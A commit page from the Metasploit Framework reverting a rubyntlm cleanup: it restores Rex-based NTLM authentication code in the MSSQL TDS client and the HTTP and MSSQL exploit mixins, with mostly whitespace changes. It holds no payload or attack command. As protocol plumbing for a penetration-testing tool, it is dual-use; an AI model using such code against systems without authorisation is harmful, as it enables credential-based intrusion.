Browse Source

Revert "Land #7009, egypt's rubyntlm cleanup"

This reverts commit d90f0779f8, reversing
changes made to e3e360cc83.
James Lee 3 years ago
parent
commit
1164c025a2

+ 0
- 1
Gemfile.lock View File

@@ -36,7 +36,6 @@ PATH
36 36
       rex-text
37 37
       rex-zip
38 38
       robots
39
-      rubyntlm
40 39
       rubyzip
41 40
       sqlite3
42 41
       sshkey

+ 157
- 126
lib/metasploit/framework/mssql/client.rb View File

@@ -9,6 +9,11 @@ module Metasploit
9 9
         extend ActiveSupport::Concern
10 10
         include Metasploit::Framework::Tcp::Client
11 11
 
12
+        NTLM_CRYPT = Rex::Proto::NTLM::Crypt
13
+        NTLM_CONST = Rex::Proto::NTLM::Constants
14
+        NTLM_UTILS = Rex::Proto::NTLM::Utils
15
+        NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
16
+
12 17
         # Encryption
13 18
         ENCRYPT_OFF     = 0x00 #Encryption is available but off.
14 19
         ENCRYPT_ON      = 0x01 #Encryption is available and on.
@@ -16,23 +21,23 @@ module Metasploit
16 21
         ENCRYPT_REQ     = 0x03 #Encryption is required.
17 22
 
18 23
         # Packet Type
19
-        TYPE_SQL_BATCH                   = 1  # (Client) SQL command
20
-        TYPE_PRE_TDS7_LOGIN              = 2  # (Client) Pre-login with version < 7 (unused)
21
-        TYPE_RPC                         = 3  # (Client) RPC
22
-        TYPE_TABLE_RESPONSE              = 4  # (Server)  Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
24
+        TYPE_SQL_BATCH 		               = 1 # (Client) SQL command
25
+        TYPE_PRE_TDS7_LOGIN	             = 2 # (Client) Pre-login with version < 7 (unused)
26
+        TYPE_RPC		                     = 3 # (Client) RPC
27
+        TYPE_TABLE_RESPONSE	             = 4 # (Server)  Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
23 28
         # Request Completion, Error and Info Messages, Attention Acknowledgement
24
-        TYPE_ATTENTION_SIGNAL            = 6  # (Client) Attention
25
-        TYPE_BULK_LOAD                   = 7  # (Client) SQL Command with binary data
29
+        TYPE_ATTENTION_SIGNAL	           = 6 # (Client) Attention
30
+        TYPE_BULK_LOAD		               = 7 # (Client) SQL Command with binary data
26 31
         TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
27
-        TYPE_TDS7_LOGIN                  = 16 # (Client) Login
28
-        TYPE_SSPI_MESSAGE                = 17 # (Client) Login
29
-        TYPE_PRE_LOGIN_MESSAGE           = 18 # (Client) pre-login with version > 7
32
+        TYPE_TDS7_LOGIN 	               = 16 # (Client) Login
33
+        TYPE_SSPI_MESSAGE 	             = 17 # (Client) Login
34
+        TYPE_PRE_LOGIN_MESSAGE 	         = 18 # (Client) pre-login with version > 7
30 35
 
31 36
         # Status
32
-        STATUS_NORMAL                  = 0x00
33
-        STATUS_END_OF_MESSAGE          = 0x01
34
-        STATUS_IGNORE_EVENT            = 0x02
35
-        STATUS_RESETCONNECTION         = 0x08 # TDS 7.1+
37
+        STATUS_NORMAL 		= 0x00
38
+        STATUS_END_OF_MESSAGE 	= 0x01
39
+        STATUS_IGNORE_EVENT	= 0x02
40
+        STATUS_RESETCONNECTION 	= 0x08 # TDS 7.1+
36 41
         STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
37 42
 
38 43
         #
@@ -50,14 +55,14 @@ module Metasploit
50 55
             idx = 0
51 56
             pkt = ''
52 57
             pkt_hdr = ''
53
-            pkt_hdr =  [
58
+            pkt_hdr =	[
54 59
                 TYPE_TDS7_LOGIN, #type
55 60
                 STATUS_END_OF_MESSAGE, #status
56 61
                 0x0000, #length
57 62
                 0x0000, # SPID
58
-                0x01,   # PacketID (unused upon specification
63
+                0x01, 	# PacketID (unused upon specification
59 64
                 # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
60
-                0x00   #Window
65
+                0x00 	#Window
61 66
             ]
62 67
 
63 68
             pkt << [
@@ -80,18 +85,18 @@ module Metasploit
80 85
             sname = Rex::Text.to_unicode( rhost )
81 86
             dname = Rex::Text.to_unicode( db )
82 87
 
88
+            ntlm_options = {
89
+                :signing 		=> false,
90
+                :usentlm2_session 	=> use_ntlm2_session,
91
+                :use_ntlmv2 		=> use_ntlmv2,
92
+                :send_lm 		=> send_lm,
93
+                :send_ntlm		=> send_ntlm
94
+            }
95
+
96
+            ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
83 97
             workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
84 98
 
85
-            ntlm_client = ::Net::NTLM::Client.new(
86
-              user,
87
-              pass,
88
-              workstation: workstation_name,
89
-              domain: domain_name,
90
-            )
91
-            type1 = ntlm_client.init_context
92
-            # SQL 2012, at least, does not support KEY_EXCHANGE
93
-            type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
94
-            ntlmsspblob = type1.serialize
99
+            ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)
95 100
 
96 101
             idx = pkt.size + 50 # lengths below
97 102
 
@@ -132,9 +137,9 @@ module Metasploit
132 137
             pkt << ntlmsspblob
133 138
 
134 139
             # Total packet length
135
-            pkt[0, 4] = [pkt.length].pack('V')
140
+            pkt[0,4] = [pkt.length].pack('V')
136 141
 
137
-            pkt_hdr[2] = pkt.length + 8
142
+            pkt_hdr[2]	= 	pkt.length + 8
138 143
 
139 144
             pkt = pkt_hdr.pack("CCnnCC") + pkt
140 145
 
@@ -142,38 +147,64 @@ module Metasploit
142 147
             # has a strange behavior that differs from the specifications
143 148
             # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
144 149
             # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
150
+
145 151
             if tdsencryption == true
146 152
                proxy = TDSSSLProxy.new(sock)
147 153
                proxy.setup_ssl
148
-               resp = proxy.send_recv(pkt, 15, false)
154
+               resp = proxy.send_recv(pkt)
149 155
             else
150
-               resp = mssql_send_recv(pkt, 15, false)
156
+               resp = mssql_send_recv(pkt)
157
+            end
158
+
159
+            # Get default data
160
+            begin
161
+              blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
162
+                # a domain.length < 3 will hit this
163
+            rescue NTLM_XCEPT::NTLMMissingChallenge
164
+              return false
151 165
             end
152 166
 
153
-            # Strip the TDS header
154
-            resp = resp[3..-1]
155
-            type3 = ntlm_client.init_context([resp].pack('m'))
156
-            type3_blob = type3.serialize
167
+            challenge_key        = blob_data[:challenge_key]
168
+            server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
169
+            #netbios name
170
+            default_name         =  blob_data[:default_name] || ''
171
+            #netbios domain
172
+            default_domain       = blob_data[:default_domain] || ''
173
+            #dns name
174
+            dns_host_name        =  blob_data[:dns_host_name] || ''
175
+            #dns domain
176
+            dns_domain_name      =  blob_data[:dns_domain_name] || ''
177
+            #Client time
178
+            chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
179
+
180
+            spnopt = {:use_spn => send_spn, :name =>  rhost}
181
+
182
+            resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
183
+                                                                                                           domain_name, default_name, default_domain,
184
+                                                                                                           dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
185
+                                                                                                           spnopt, ntlm_options)
186
+
187
+            ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)
157 188
 
158 189
             # Create an SSPIMessage
159 190
             idx = 0
160 191
             pkt = ''
161 192
             pkt_hdr = ''
162
-            pkt_hdr = [
163
-              TYPE_SSPI_MESSAGE, #type
164
-              STATUS_END_OF_MESSAGE, #status
165
-              0x0000, #length
166
-              0x0000, # SPID
167
-              0x01, # PacketID
168
-              0x00 #Window
193
+            pkt_hdr =	[
194
+                TYPE_SSPI_MESSAGE, #type
195
+                STATUS_END_OF_MESSAGE, #status
196
+                0x0000, #length
197
+                0x0000, # SPID
198
+                0x01, # PacketID
199
+                0x00 #Window
169 200
             ]
170 201
 
171
-            pkt_hdr[2] = type3_blob.length + 8
202
+            pkt_hdr[2]	= 	ntlmssp.length + 8
172 203
 
173
-            pkt = pkt_hdr.pack("CCnnCC") + type3_blob
204
+            pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
174 205
 
175 206
             if self.tdsencryption == true
176
-              resp = mssql_ssl_send_recv(pkt, proxy)
207
+              resp = mssql_ssl_send_recv(pkt,proxy)
177 208
               proxy.cleanup
178 209
               proxy = nil
179 210
             else
@@ -252,7 +283,7 @@ module Metasploit
252 283
             pkt << dname
253 284
 
254 285
             # Total packet length
255
-            pkt[0, 4] = [pkt.length].pack('V')
286
+            pkt[0,4] = [pkt.length].pack('V')
256 287
 
257 288
             # Embedded packet lengths
258 289
             pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
@@ -263,7 +294,7 @@ module Metasploit
263 294
             if self.tdsencryption == true
264 295
               proxy = TDSSSLProxy.new(sock)
265 296
               proxy.setup_ssl
266
-              resp = mssql_ssl_send_recv(pkt, proxy)
297
+              resp = mssql_ssl_send_recv(pkt,proxy)
267 298
               proxy.cleanup
268 299
               proxy = nil
269 300
             else
@@ -273,7 +304,7 @@ module Metasploit
273 304
           end
274 305
 
275 306
           info = {:errors => []}
276
-          info = mssql_parse_reply(resp, info)
307
+          info = mssql_parse_reply(resp,info)
277 308
 
278 309
           disconnect
279 310
 
@@ -285,17 +316,17 @@ module Metasploit
285 316
         # Parse an "environment change" TDS token
286 317
         #
287 318
         def mssql_parse_env(data, info)
288
-          len  = data.slice!(0, 2).unpack('v')[0]
289
-          buff = data.slice!(0, len)
290
-          type = buff.slice!(0, 1).unpack('C')[0]
319
+          len  = data.slice!(0,2).unpack('v')[0]
320
+          buff = data.slice!(0,len)
321
+          type = buff.slice!(0,1).unpack('C')[0]
291 322
 
292 323
           nval = ''
293
-          nlen = buff.slice!(0, 1).unpack('C')[0] || 0
294
-          nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
324
+          nlen = buff.slice!(0,1).unpack('C')[0] || 0
325
+          nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0
295 326
 
296 327
           oval = ''
297
-          olen = buff.slice!(0, 1).unpack('C')[0] || 0
298
-          oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
328
+          olen = buff.slice!(0,1).unpack('C')[0] || 0
329
+          oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0
299 330
 
300 331
           info[:envs] ||= []
301 332
           info[:envs] << { :type => type, :old => oval, :new => nval }
@@ -306,7 +337,7 @@ module Metasploit
306 337
         # Parse a "ret" TDS token
307 338
         #
308 339
         def mssql_parse_ret(data, info)
309
-          ret = data.slice!(0, 4).unpack('N')[0]
340
+          ret = data.slice!(0,4).unpack('N')[0]
310 341
           info[:ret] = ret
311 342
           info
312 343
         end
@@ -315,7 +346,7 @@ module Metasploit
315 346
         # Parse a "done" TDS token
316 347
         #
317 348
         def mssql_parse_done(data, info)
318
-          status, cmd, rows = data.slice!(0, 8).unpack('vvV')
349
+          status,cmd,rows = data.slice!(0,8).unpack('vvV')
319 350
           info[:done] = { :status => status, :cmd => cmd, :rows => rows }
320 351
           info
321 352
         end
@@ -324,11 +355,11 @@ module Metasploit
324 355
         # Parse an "error" TDS token
325 356
         #
326 357
         def mssql_parse_error(data, info)
327
-          len  = data.slice!(0, 2).unpack('v')[0]
328
-          buff = data.slice!(0, len)
358
+          len  = data.slice!(0,2).unpack('v')[0]
359
+          buff = data.slice!(0,len)
329 360
 
330
-          errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
331
-          emsg = buff.slice!(0, elen * 2)
361
+          errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
362
+          emsg = buff.slice!(0,elen * 2)
332 363
           emsg.gsub!("\x00", '')
333 364
 
334 365
           info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
@@ -339,14 +370,14 @@ module Metasploit
339 370
         # Parse an "information" TDS token
340 371
         #
341 372
         def mssql_parse_info(data, info)
342
-          len  = data.slice!(0, 2).unpack('v')[0]
343
-          buff = data.slice!(0, len)
373
+          len  = data.slice!(0,2).unpack('v')[0]
374
+          buff = data.slice!(0,len)
344 375
 
345
-          errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
346
-          emsg = buff.slice!(0, elen * 2)
376
+          errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
377
+          emsg = buff.slice!(0,elen * 2)
347 378
           emsg.gsub!("\x00", '')
348 379
 
349
-          info[:infos] ||= []
380
+          info[:infos]||= []
350 381
           info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
351 382
           info
352 383
         end
@@ -355,8 +386,8 @@ module Metasploit
355 386
         # Parse a "login ack" TDS token
356 387
         #
357 388
         def mssql_parse_login_ack(data, info)
358
-          len = data.slice!(0, 2).unpack('v')[0]
359
-          _buff = data.slice!(0, len)
389
+          len  = data.slice!(0,2).unpack('v')[0]
390
+          buff = data.slice!(0,len)
360 391
           info[:login_ack] = true
361 392
         end
362 393
 
@@ -367,7 +398,7 @@ module Metasploit
367 398
           info[:errors] = []
368 399
           return if not data
369 400
           until data.empty?
370
-            token = data.slice!(0, 1).unpack('C')[0]
401
+            token = data.slice!(0,1).unpack('C')[0]
371 402
             case token
372 403
               when 0x81
373 404
                 mssql_parse_tds_reply(data, info)
@@ -403,14 +434,14 @@ module Metasploit
403 434
           info[:colnames] ||= []
404 435
 
405 436
           # Parse out the columns
406
-          cols = data.slice!(0, 2).unpack('v')[0]
437
+          cols = data.slice!(0,2).unpack('v')[0]
407 438
           0.upto(cols-1) do |col_idx|
408 439
             col = {}
409 440
             info[:colinfos][col_idx] = col
410 441
 
411
-            col[:utype] = data.slice!(0, 2).unpack('v')[0]
412
-            col[:flags] = data.slice!(0, 2).unpack('v')[0]
413
-            col[:type]  = data.slice!(0, 1).unpack('C')[0]
442
+            col[:utype] = data.slice!(0,2).unpack('v')[0]
443
+            col[:flags] = data.slice!(0,2).unpack('v')[0]
444
+            col[:type]  = data.slice!(0,1).unpack('C')[0]
414 445
 
415 446
             case col[:type]
416 447
               when 48
@@ -427,8 +458,8 @@ module Metasploit
427 458
 
428 459
               when 34
429 460
                 col[:id]            = :image
430
-                col[:max_size]      = data.slice!(0, 4).unpack('V')[0]
431
-                col[:value_length]  = data.slice!(0, 2).unpack('v')[0]
461
+                col[:max_size]      = data.slice!(0,4).unpack('V')[0]
462
+                col[:value_length]  = data.slice!(0,2).unpack('v')[0]
432 463
                 col[:value]         = data.slice!(0, col[:value_length]  * 2).gsub("\x00", '')
433 464
 
434 465
               when 36
@@ -436,31 +467,31 @@ module Metasploit
436 467
 
437 468
               when 38
438 469
                 col[:id] = :int
439
-                col[:int_size] = data.slice!(0, 1).unpack('C')[0]
470
+                col[:int_size] = data.slice!(0,1).unpack('C')[0]
440 471
 
441 472
               when 127
442 473
                 col[:id] = :bigint
443 474
 
444 475
               when 165
445 476
                 col[:id] = :hex
446
-                col[:max_size] = data.slice!(0, 2).unpack('v')[0]
477
+                col[:max_size] = data.slice!(0,2).unpack('v')[0]
447 478
 
448 479
               when 173
449 480
                 col[:id] = :hex # binary(2)
450
-                col[:max_size] = data.slice!(0, 2).unpack('v')[0]
481
+                col[:max_size] = data.slice!(0,2).unpack('v')[0]
451 482
 
452
-              when 231, 175, 167, 239
483
+              when 231,175,167,239
453 484
                 col[:id] = :string
454
-                col[:max_size] = data.slice!(0, 2).unpack('v')[0]
455
-                col[:codepage] = data.slice!(0, 2).unpack('v')[0]
456
-                col[:cflags] = data.slice!(0, 2).unpack('v')[0]
457
-                col[:charset_id] =  data.slice!(0, 1).unpack('C')[0]
485
+                col[:max_size] = data.slice!(0,2).unpack('v')[0]
486
+                col[:codepage] = data.slice!(0,2).unpack('v')[0]
487
+                col[:cflags] = data.slice!(0,2).unpack('v')[0]
488
+                col[:charset_id] =  data.slice!(0,1).unpack('C')[0]
458 489
 
459 490
               else
460 491
                 col[:id] = :unknown
461 492
             end
462 493
 
463
-            col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
494
+            col[:msg_len] = data.slice!(0,1).unpack('C')[0]
464 495
 
465 496
             if(col[:msg_len] and col[:msg_len] > 0)
466 497
               col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
@@ -486,28 +517,28 @@ module Metasploit
486 517
             case col[:id]
487 518
               when :hex
488 519
                 str = ""
489
-                len = data.slice!(0, 2).unpack('v')[0]
520
+                len = data.slice!(0,2).unpack('v')[0]
490 521
                 if(len > 0 and len < 65535)
491
-                  str << data.slice!(0, len)
522
+                  str << data.slice!(0,len)
492 523
                 end
493 524
                 row << str.unpack("H*")[0]
494 525
 
495 526
               when :string
496 527
                 str = ""
497
-                len = data.slice!(0, 2).unpack('v')[0]
528
+                len = data.slice!(0,2).unpack('v')[0]
498 529
                 if(len > 0 and len < 65535)
499
-                  str << data.slice!(0, len)
530
+                  str << data.slice!(0,len)
500 531
                 end
501 532
                 row << str.gsub("\x00", '')
502 533
 
503 534
               when :datetime
504
-                row << data.slice!(0, 8).unpack("H*")[0]
535
+                row << data.slice!(0,8).unpack("H*")[0]
505 536
 
506 537
               when :rawint
507
-                row << data.slice!(0, 4).unpack('V')[0]
538
+                row << data.slice!(0,4).unpack('V')[0]
508 539
 
509 540
               when :bigint
510
-                row << data.slice!(0, 8).unpack("H*")[0]
541
+                row << data.slice!(0,8).unpack("H*")[0]
511 542
 
512 543
               when :smallint
513 544
                 row << data.slice!(0, 2).unpack("v")[0]
@@ -520,8 +551,8 @@ module Metasploit
520 551
 
521 552
               when :image
522 553
                 str = ''
523
-                len = data.slice!(0, 1).unpack('C')[0]
524
-                str = data.slice!(0, len) if (len and len > 0)
554
+                len = data.slice!(0,1).unpack('C')[0]
555
+                str = data.slice!(0,len) if (len and len > 0)
525 556
                 row << str.unpack("H*")[0]
526 557
 
527 558
               when :int
@@ -529,7 +560,7 @@ module Metasploit
529 560
                 raw = data.slice!(0, len) if (len and len > 0)
530 561
 
531 562
                 case len
532
-                  when 0, 255
563
+                  when 0,255
533 564
                     row << ''
534 565
                   when 1
535 566
                     row << raw.unpack("C")[0]
@@ -542,7 +573,7 @@ module Metasploit
542 573
                   when 8
543 574
                     row << raw.unpack('VV')[0] # XXX: missing high dword
544 575
                   else
545
-                    info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
576
+                    info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
546 577
                 end
547 578
               else
548 579
                 info[:errors] << "unknown column type: #{col.inspect}"
@@ -564,7 +595,7 @@ module Metasploit
564 595
           pkt_data = ""
565 596
 
566 597
 
567
-          pkt_hdr = [
598
+          pkt_hdr =	[
568 599
               TYPE_PRE_LOGIN_MESSAGE, #type
569 600
               STATUS_END_OF_MESSAGE, #status
570 601
               0x0000, #length
@@ -573,7 +604,7 @@ module Metasploit
573 604
               0x00 #Window
574 605
           ]
575 606
 
576
-          version = [0x55010008, 0x0000].pack("Vv")
607
+          version = [0x55010008,0x0000].pack("Vv")
577 608
 
578 609
           # if manually set, we will honour
579 610
           if tdsencryption == true
@@ -584,45 +615,45 @@ module Metasploit
584 615
 
585 616
           instoptdata = "MSSQLServer\0"
586 617
 
587
-          threadid = "\0\0" + Rex::Text.rand_text(2)
618
+          threadid =   "\0\0" + Rex::Text.rand_text(2)
588 619
 
589 620
           idx = 21 # size of pkt_data_token
590
-          pkt_data_token << [
591
-              0x00, # Token 0 type Version
592
-              idx , # VersionOffset
621
+          pkt_data_token <<	[
622
+              0x00, 		# Token 0 type Version
623
+              idx , 	# VersionOffset
593 624
               version.length, # VersionLength
594 625
 
595
-              0x01, # Token 1 type Encryption
596
-              idx = idx + version.length, # EncryptionOffset
597
-              0x01, # EncryptionLength
626
+              0x01, 			    	# Token 1 type Encryption
627
+              idx = idx + version.length, 	# EncryptionOffset
628
+              0x01, 			    	# EncryptionLength
598 629
 
599
-              0x02, # Token 2 type InstOpt
600
-              idx = idx + 1, # InstOptOffset
601
-              instoptdata.length, # InstOptLength
630
+              0x02, 				# Token 2 type InstOpt
631
+              idx = idx + 1,  		# InstOptOffset
632
+              instoptdata.length, 		# InstOptLength
602 633
 
603
-              0x03, # Token 3 type Threadid
604
-              idx + instoptdata.length, # ThreadIdOffset
605
-              0x04, # ThreadIdLength
634
+              0x03, 				# Token 3 type Threadid
635
+              idx + instoptdata.length, 	# ThreadIdOffset
636
+              0x04,				# ThreadIdLength
606 637
 
607 638
               0xFF
608 639
           ].pack("CnnCnnCnnCnnC")
609 640
 
610
-          pkt_data << pkt_data_token
611
-          pkt_data << version
612
-          pkt_data << encryption
613
-          pkt_data << instoptdata
614
-          pkt_data << threadid
641
+          pkt_data  	<<	pkt_data_token
642
+          pkt_data  	<<	version
643
+          pkt_data  	<<	encryption
644
+          pkt_data  	<<	instoptdata
645
+          pkt_data  	<<	threadid
615 646
 
616
-          pkt_hdr[2] = pkt_data.length + 8
647
+          pkt_hdr[2]	= 	pkt_data.length + 8
617 648
 
618
-          pkt = pkt_hdr.pack("CCnnCC") + pkt_data
649
+          pkt 		= 	 pkt_hdr.pack("CCnnCC") + pkt_data
619 650
 
620 651
           resp = mssql_send_recv(pkt)
621 652
 
622 653
           idx = 0
623 654
 
624
-          while resp && resp[0, 1] != "\xff" && resp.length > 5
625
-            token = resp.slice!(0, 5)
655
+          while resp and resp[0,1] != "\xff" and resp.length > 5
656
+            token = resp.slice!(0,5)
626 657
             token = token.unpack("Cnn")
627 658
             idx -= 5
628 659
             if token[0] == 0x01
@@ -632,7 +663,7 @@ module Metasploit
632 663
             end
633 664
           end
634 665
           if idx > 0
635
-            encryption_mode = resp[idx, 1].unpack("C")[0]
666
+            encryption_mode = resp[idx,1].unpack("C")[0]
636 667
           else
637 668
             raise RunTimeError, "Unable to parse encryption req. "\
638 669
               "from server during prelogin"
@@ -670,8 +701,8 @@ module Metasploit
670 701
 
671 702
             idx = 0
672 703
 
673
-            while resp && resp[0, 1] != "\xff" && resp.length > 5
674
-              token = resp.slice!(0, 5)
704
+            while resp and resp[0,1] != "\xff" and resp.length > 5
705
+              token = resp.slice!(0,5)
675 706
               token = token.unpack("Cnn")
676 707
               idx -= 5
677 708
               if token[0] == 0x01
@@ -680,7 +711,7 @@ module Metasploit
680 711
               end
681 712
             end
682 713
             if idx > 0
683
-              encryption_mode = resp[idx, 1].unpack("C")[0]
714
+              encryption_mode = resp[idx,1].unpack("C")[0]
684 715
             else
685 716
               raise RuntimeError, "Unable to parse encryption "\
686 717
                 "req during pre-login"
@@ -704,17 +735,17 @@ module Metasploit
704 735
 
705 736
           while(not done)
706 737
             head = sock.get_once(8, timeout)
707
-            if !(head && head.length == 8)
738
+            if !(head and head.length == 8)
708 739
               return false
709 740
             end
710 741
 
711 742
             # Is this the last buffer?
712
-            if head[1, 1] == "\x01" || !check_status
743
+            if(head[1,1] == "\x01" or not check_status )
713 744
               done = true
714 745
             end
715 746
 
716 747
             # Grab this block's length
717
-            rlen = head[2, 2].unpack('n')[0] - 8
748
+            rlen = head[2,2].unpack('n')[0] - 8
718 749
 
719 750
             while(rlen > 0)
720 751
               buff = sock.get_once(rlen, timeout)
@@ -727,7 +758,7 @@ module Metasploit
727 758
           resp
728 759
         end
729 760
 
730
-        def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
761
+        def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true)
731 762
           tdsproxy.send_recv(req)
732 763
         end
733 764
 

+ 25
- 0
lib/msf/core/exploit/http/client.rb View File

@@ -2,6 +2,10 @@
2 2
 
3 3
 require 'uri'
4 4
 require 'digest'
5
+require 'rex/proto/ntlm/crypt'
6
+require 'rex/proto/ntlm/constants'
7
+require 'rex/proto/ntlm/utils'
8
+require 'rex/proto/ntlm/exceptions'
5 9
 module Msf
6 10
 
7 11
 ###
@@ -12,6 +16,15 @@ module Msf
12 16
 ###
13 17
 module Exploit::Remote::HttpClient
14 18
   include Msf::Auxiliary::Report
19
+  include Exploit::Remote::NTLM::Client
20
+
21
+  #
22
+  # Constants
23
+  #
24
+  NTLM_CRYPT = Rex::Proto::NTLM::Crypt
25
+  NTLM_CONST = Rex::Proto::NTLM::Constants
26
+  NTLM_UTILS = Rex::Proto::NTLM::Utils
27
+  NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
15 28
 
16 29
   #
17 30
   # Initializes an exploit module that exploits a vulnerability in an HTTP
@@ -180,6 +193,12 @@ module Exploit::Remote::HttpClient
180 193
       'uri_fake_end'           => datastore['HTTP::uri_fake_end'],
181 194
       'uri_fake_params_start'  => datastore['HTTP::uri_fake_params_start'],
182 195
       'header_folding'         => datastore['HTTP::header_folding'],
196
+      'usentlm2_session'       => datastore['NTLM::UseNTLM2_session'],
197
+      'use_ntlmv2'             => datastore['NTLM::UseNTLMv2'],
198
+      'send_lm'                => datastore['NTLM::SendLM'],
199
+      'send_ntlm'              => datastore['NTLM::SendNTLM'],
200
+      'SendSPN'                => datastore['NTLM::SendSPN'],
201
+      'UseLMKey'               => datastore['NTLM::UseLMKey'],
183 202
       'domain'                 => datastore['DOMAIN'],
184 203
       'DigestAuthIIS'          => datastore['DigestAuthIIS']
185 204
     )
@@ -236,6 +255,12 @@ module Exploit::Remote::HttpClient
236 255
       evade_uri_fake_end:            datastore['HTTP::uri_fake_end'],
237 256
       evade_uri_fake_params_start:   datastore['HTTP::uri_fake_params_start'],
238 257
       evade_header_folding:          datastore['HTTP::header_folding'],
258
+      ntlm_use_ntlmv2_session:       datastore['NTLM::UseNTLM2_session'],
259
+      ntlm_use_ntlmv2:               datastore['NTLM::UseNTLMv2'],
260
+      ntlm_send_lm:                  datastore['NTLM::SendLM'],
261
+      ntlm_send_ntlm:                datastore['NTLM::SendNTLM'],
262
+      ntlm_send_spn:                 datastore['NTLM::SendSPN'],
263
+      ntlm_use_lm_key:               datastore['NTLM::UseLMKey'],
239 264
       ntlm_domain:                   datastore['DOMAIN'],
240 265
       digest_auth_iis:               datastore['DigestAuthIIS']
241 266
     }.merge(conf)

+ 209
- 171
lib/msf/core/exploit/mssql.rb View File

@@ -1,6 +1,11 @@
1 1
 # -*- coding: binary -*-
2 2
 require 'msf/core'
3 3
 require 'msf/core/exploit/mssql_commands'
4
+require 'rex/proto/ntlm/crypt'
5
+require 'rex/proto/ntlm/constants'
6
+require 'rex/proto/ntlm/utils'
7
+require 'rex/proto/ntlm/exceptions'
8
+
4 9
 
5 10
 module Msf
6 11
 
@@ -16,32 +21,41 @@ module Exploit::Remote::MSSQL
16 21
   include Exploit::Remote::Tcp
17 22
   include Exploit::Remote::NTLM::Client
18 23
 
24
+  #
25
+  # Constants
26
+  #
27
+  NTLM_CRYPT = Rex::Proto::NTLM::Crypt
28
+  NTLM_CONST = Rex::Proto::NTLM::Constants
29
+  NTLM_UTILS = Rex::Proto::NTLM::Utils
30
+  NTLM_XCEPT = Rex::Proto::NTLM::Exceptions
31
+
19 32
   # Encryption
20 33
   ENCRYPT_OFF     = 0x00 #Encryption is available but off.
21 34
   ENCRYPT_ON      = 0x01 #Encryption is available and on.
22 35
   ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
23 36
   ENCRYPT_REQ     = 0x03 #Encryption is required.
24 37
 
25
-  # Packet Type
26
-  TYPE_SQL_BATCH                   = 1  # (Client) SQL command
27
-  TYPE_PRE_TDS7_LOGIN              = 2  # (Client) Pre-login with version < 7 (unused)
28
-  TYPE_RPC                         = 3  # (Client) RPC
29
-  TYPE_TABLE_RESPONSE              = 4  # (Server)  Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
30
-  # Request Completion, Error and Info Messages, Attention Acknowledgement
31
-  TYPE_ATTENTION_SIGNAL            = 6  # (Client) Attention
32
-  TYPE_BULK_LOAD                   = 7  # (Client) SQL Command with binary data
38
+  # Paquet Type
39
+  TYPE_SQL_BATCH 		= 1 # (Client) SQL command
40
+  TYPE_PRE_TDS7_LOGIN	= 2 # (Client) Pre-login with version < 7 (unused)
41
+  TYPE_RPC		= 3 # (Client) RPC
42
+  TYPE_TABLE_RESPONSE	= 4 # (Server)  Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
43
+            # Request Completion, Error and Info Messages, Attention Acknowledgement
44
+  TYPE_ATTENTION_SIGNAL	= 6 # (Client) Attention
45
+  TYPE_BULK_LOAD		= 7 # (Client) SQL Command with binary data
33 46
   TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
34
-  TYPE_TDS7_LOGIN                  = 16 # (Client) Login
35
-  TYPE_SSPI_MESSAGE                = 17 # (Client) Login
36
-  TYPE_PRE_LOGIN_MESSAGE           = 18 # (Client) pre-login with version > 7
47
+  TYPE_TDS7_LOGIN 	= 16 # (Client) Login
48
+  TYPE_SSPI_MESSAGE 	= 17 # (Client) Login
49
+  TYPE_PRE_LOGIN_MESSAGE 	= 18 # (Client) pre-login with version > 7
37 50
 
38 51
   # Status
39
-  STATUS_NORMAL                  = 0x00
40
-  STATUS_END_OF_MESSAGE          = 0x01
41
-  STATUS_IGNORE_EVENT            = 0x02
42
-  STATUS_RESETCONNECTION         = 0x08 # TDS 7.1+
52
+  STATUS_NORMAL 		= 0x00
53
+  STATUS_END_OF_MESSAGE 	= 0x01
54
+  STATUS_IGNORE_EVENT	= 0x02
55
